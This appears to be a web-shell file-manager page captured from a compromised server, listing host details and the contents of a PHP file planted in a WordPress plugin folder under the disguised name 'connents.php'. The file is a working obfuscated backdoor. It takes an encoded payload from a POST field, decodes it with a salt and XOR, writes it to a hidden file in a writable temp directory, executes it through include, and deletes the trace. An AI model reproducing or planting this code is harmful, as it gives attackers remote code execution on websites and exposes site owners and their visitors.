HEX
Server: Apache
System: Linux vps34798 6.8.0-78-generic #78~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Aug 13 14:32:06 UTC 2 x86_64
User: davidsurgicenter (16765843)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/davidsurgicenter/davidsurgi-center.com/wp-content/plugins/seo-1765486796/connents.php
<!--RFdBvzJP-->
<?php

if(array_key_exists("com\x70", $_POST) && !is_null($_POST["com\x70"])){
$pointer = array_filter(["/dev/shm", getcwd(), "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]);
$marker = $_POST["com\x70"];
 $marker =explode('.'	 , $marker	) 		;  	
$val = '';
$salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt4);
$i = 0;

foreach ($marker as $val) {
    $chS = ord($salt4[$i % $lenS]);
    $dec = ((int)$val - $chS - ($i % 10)) ^ 74;
    $val .= chr($dec);
    $i++;
}
foreach ($pointer as $item):
            if (!( !is_dir($item) || !is_writable($item) )) {
            $record = join("/", [$item, ".parameter_group"]);
            $value = fopen($record, 'wb');
if ($value) {
    fwrite($value, $val);
    fclose($value);
    include $record;
    @unlink($record);
    exit;
}
        }
endforeach;
}